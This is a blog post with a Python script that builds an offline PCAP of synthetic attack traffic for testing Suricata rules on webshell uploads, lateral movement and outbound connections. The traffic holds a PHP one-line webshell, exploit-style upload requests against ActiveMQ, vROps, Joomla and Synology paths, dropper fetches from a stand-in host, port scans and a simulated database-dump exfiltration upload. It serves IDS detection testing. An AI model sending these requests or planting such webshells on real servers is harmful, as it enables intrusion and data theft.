编写上传webshell、横向及外连的suricata规则-测试(9001267-9001287)

1.生成测试流量

from __future__ import annotations
import argparse
import socket
import struct
from pathlib import Path
SRC_MAC = bytes.fromhex("001122334455")
DST_MAC = bytes.fromhex("66778899aabb")
CLIENT_IP = "10.10.10.1"
SERVER_IP = "10.10.10.2"
def checksum(data: bytes) -> int:
    if len(data) % 2:
        data += b"\x00"
    total = 0
    for i in range(0, len(data), 2):
        total += (data[i] << 8) + data[i + 1]
        total = (total & 0xFFFF) + (total >> 16)
    return (~total) & 0xFFFF
def ip_bytes(value: str) -> bytes:
    return socket.inet_aton(value)
def build_tcp_packet(
    src_ip: str,
    dst_ip: str,
    src_port: int,
    dst_port: int,
    seq: int,
    ack: int,
    flags: int,
    payload: bytes = b"",
) -> bytes:
    tcp_offset = 5
    tcp_header_wo_checksum = struct.pack(
        "!HHLLBBHHH",
        src_port,
        dst_port,
        seq,
        ack,
        tcp_offset << 4,
        flags,
        4096,
        0,
        0,
    )
    pseudo = struct.pack(
        "!4s4sBBH",
        ip_bytes(src_ip),
        ip_bytes(dst_ip),
        0,
        6,
        len(tcp_header_wo_checksum) + len(payload),
    )
    tcp_checksum = checksum(pseudo + tcp_header_wo_checksum + payload)
    tcp_header = struct.pack(
        "!HHLLBBHHH",
        src_port,
        dst_port,
        seq,
        ack,
        tcp_offset << 4,
        flags,
        4096,
        tcp_checksum,
        0,
    )
    total_length = 20 + len(tcp_header) + len(payload)
    ip_header_wo_checksum = struct.pack(
        "!BBHHHBBH4s4s",
        0x45,
        0,
        total_length,
        0,
        0,
        64,
        6,
        0,
        ip_bytes(src_ip),
        ip_bytes(dst_ip),
    )
    ip_checksum = checksum(ip_header_wo_checksum)
    ip_header = struct.pack(
        "!BBHHHBBH4s4s",
        0x45,
        0,
        total_length,
        0,
        0,
        64,
        6,
        ip_checksum,
        ip_bytes(src_ip),
        ip_bytes(dst_ip),
    )
    eth_header = struct.pack("!6s6sH", DST_MAC, SRC_MAC, 0x0800)
    return eth_header + ip_header + tcp_header + payload
class PcapWriter:
    def __init__(self, path: Path) -> None:
        self.path = path
        self.fp = path.open("wb")
        self.fp.write(struct.pack("<IHHIIII", 0xA1B2C3D4, 2, 4, 0, 0, 65535, 1))
        self.ts_usec = 0
    def write(self, frame: bytes) -> None:
        self.ts_usec += 10000
        self.fp.write(struct.pack("<IIII", 0, self.ts_usec, len(frame), len(frame)))
        self.fp.write(frame)
    def close(self) -> None:
        self.fp.close()
def http_request(method: str, path: str, headers: list[tuple[str, str]] | None = None, body: bytes = b"") -> bytes:
    headers = headers or []
    lines = [f"{method} {path} HTTP/1.1", "Host: lab.local", "Connection: close"]
    header_names = {name.lower() for name, _ in headers}
    if body and "content-length" not in header_names and "transfer-encoding" not in header_names:
        headers.append(("Content-Length", str(len(body))))
    for name, value in headers:
        lines.append(f"{name}: {value}")
    return ("\r\n".join(lines) + "\r\n\r\n").encode("ascii") + body
def http_response(body: bytes, extra_headers: list[tuple[str, str]] | None = None) -> bytes:
    extra_headers = extra_headers or []
    lines = ["HTTP/1.1 200 OK", "Connection: close", f"Content-Length: {len(body)}"]
    for name, value in extra_headers:
        lines.append(f"{name}: {value}")
    return ("\r\n".join(lines) + "\r\n\r\n").encode("ascii") + body
def write_flow(
    writer: PcapWriter,
    src_ip: str,
    dst_ip: str,
    src_port: int,
    dst_port: int,
    request: bytes,
    response: bytes | None = None,
) -> None:
    client_seq = 1000 + src_port
    server_seq = 9000 + dst_port + (src_port % 100)
    writer.write(build_tcp_packet(src_ip, dst_ip, src_port, dst_port, client_seq, 0, 0x02))
    writer.write(build_tcp_packet(dst_ip, src_ip, dst_port, src_port, server_seq, client_seq + 1, 0x12))
    writer.write(build_tcp_packet(src_ip, dst_ip, src_port, dst_port, client_seq + 1, server_seq + 1, 0x10))
    writer.write(build_tcp_packet(src_ip, dst_ip, src_port, dst_port, client_seq + 1, server_seq + 1, 0x18, request))
    writer.write(build_tcp_packet(dst_ip, src_ip, dst_port, src_port, server_seq + 1, client_seq + 1 + len(request), 0x10))
    if response:
        writer.write(build_tcp_packet(dst_ip, src_ip, dst_port, src_port, server_seq + 1, client_seq + 1 + len(request), 0x18, response))
        writer.write(build_tcp_packet(src_ip, dst_ip, src_port, dst_port, client_seq + 1 + len(request), server_seq + 1 + len(response), 0x10))
def write_syns(writer: PcapWriter, src_ip: str, dst_ip: str, start_sport: int, ports: list[int]) -> None:
    for index, port in enumerate(ports):
        sport = start_sport + index
        writer.write(build_tcp_packet(src_ip, dst_ip, sport, port, 50000 + index, 0, 0x02))
def build_positive_pcap(path: Path) -> None:
    writer = PcapWriter(path)
    try:
        write_flow(writer, CLIENT_IP, SERVER_IP, 41001, 18080, http_request("PUT", "/uploads/seed-shell.jsp%2f"))
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41002,
            8161,
            http_request("MOVE", "/files", [("Destination", "/opt/activemq/webapps/admin/shell.jsp")]),
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41003,
            18080,
            http_request("POST", "/ui/vropspluginui/rest/services/uploadova?path=/tmp/dropper.sh"),
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41004,
            18080,
            http_request("POST", "/index.php?option=com_community&func=photo"),
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41005,
            18080,
            http_request("GET", "/gila/lzld/thumb?src=http://1.2.3.4/payload.php"),
        )
        multipart_upload = (
            b"--x\r\n"
            b'Content-Disposition: form-data; name="file"; filename="shell.jsp"\r\n'
            b"Content-Type: application/octet-stream\r\n\r\n"
            b"<% out.println(\"ok\"); %>\r\n"
            b"--x--\r\n"
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41006,
            18080,
            http_request("POST", "/api/upload", [("Transfer-Encoding", "chunked")], multipart_upload),
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41007,
            8161,
            http_request("MOVE", "/queue", [("Destination", "/webapps/admin/shell.jsp")]),
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41008,
            18080,
            http_request("POST", "/ui/vropspluginui/rest/services/uploadova?where=/tmp/agent.py"),
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41009,
            18080,
            http_request("POST", "/webman/imageSelector.cgi", [("X-TYPE-NAME", "SLICEUPLOAD"), ("Content-Range", "bytes 0-9/10")], b"0123456789"),
        )
        joomla_body = (
            b"--x\r\n"
            b'Content-Disposition: form-data; name="file"; filename="shell.php"\r\n'
            b"Content-Type: application/octet-stream\r\n\r\n"
            b"<?php system($_POST['cmd']); ?>\r\n"
            b"--x--\r\n"
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41010,
            18080,
            http_request("POST", "/administrator/index.php?option=com_community", [("Content-Type", "multipart/form-data; boundary=x")], joomla_body),
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41011,
            18080,
            http_request("GET", "/thumb?src=http://1.2.3.4/dropper.php?x=1"),
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41012,
            18080,
            http_request("GET", "/uploads/shell.php?cmd=id"),
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41013,
            18080,
            http_request("POST", "/uploads/shell.php", [("Content-Type", "application/x-www-form-urlencoded")], b"cmd=id"),
        )
        write_flow(
            writer,
            CLIENT_IP,
            SERVER_IP,
            41014,
            18080,
            http_request("GET", "/health"),
            http_response(b"uid=33(www-data) gid=33(www-data)\n"),
        )
        for offset, path in enumerate(("/stage/loader.sh", "/dropper.sh", "/bootstrap.py", "/payload.bin"), start=1):
            write_flow(
                writer,
                SERVER_IP,
                CLIENT_IP,
                51000 + offset,
                18081,
                http_request("GET", path, [("User-Agent", "curl/8.0")]),
                http_response(b"#!/bin/sh\necho ok\n"),
            )
        for offset, path in enumerate(("/gate.php", "/shell.php", "/api/client.jsp", "/panel/index.php"), start=1):
            write_flow(
                writer,
                SERVER_IP,
                CLIENT_IP,
                51100 + offset,
                18081,
                http_request("POST", path, [("User-Agent", "python-requests/2.31"), ("Content-Type", "application/x-www-form-urlencoded")], b"id=node-1"),
                http_response(b"ok\n"),
            )
        write_syns(writer, SERVER_IP, CLIENT_IP, 52000, [22, 135, 139, 445, 3389, 5985, 5986, 1433, 1521, 3306, 5432, 6379, 7001, 8161, 2375, 2376])
        write_syns(writer, SERVER_IP, CLIENT_IP, 52100, [3389] * 12)
        write_syns(writer, SERVER_IP, CLIENT_IP, 53000, [88, 135, 139, 389, 445, 464, 636])
        exfil_body = (
            b"--x\r\n"
            b'Content-Disposition: form-data; name="file"; filename="finance_dump.sql"\r\n'
            b"Content-Type: application/octet-stream\r\n\r\n"
            b"select * from users;\r\n"
            b"--x--\r\n"
        )
        for offset in range(3):
            write_flow(
                writer,
                SERVER_IP,
                CLIENT_IP,
                51200 + offset,
                18081,
                http_request("POST", "/upload", [("Content-Type", "multipart/form-data; boundary=x")], exfil_body),
                http_response(b"stored\n"),
            )
    finally:
        writer.close()
def main() -> None:
    parser = argparse.ArgumentParser(description="Generate offline PCAPs for upload_rce_followon_supplement.rules")
    parser.add_argument("--output-dir", default=".")
    args = parser.parse_args()
    output_dir = Path(args.output_dir).resolve()
    output_dir.mkdir(parents=True, exist_ok=True)
    positive = output_dir / "upload_rce_followon_positive.pcap"
    build_positive_pcap(positive)
    print(positive)
if __name__ == "__main__":
    main()

 

posted @ 2026-03-31 16:10  岐岐卡卡西  阅读(3)  评论(0)    收藏  举报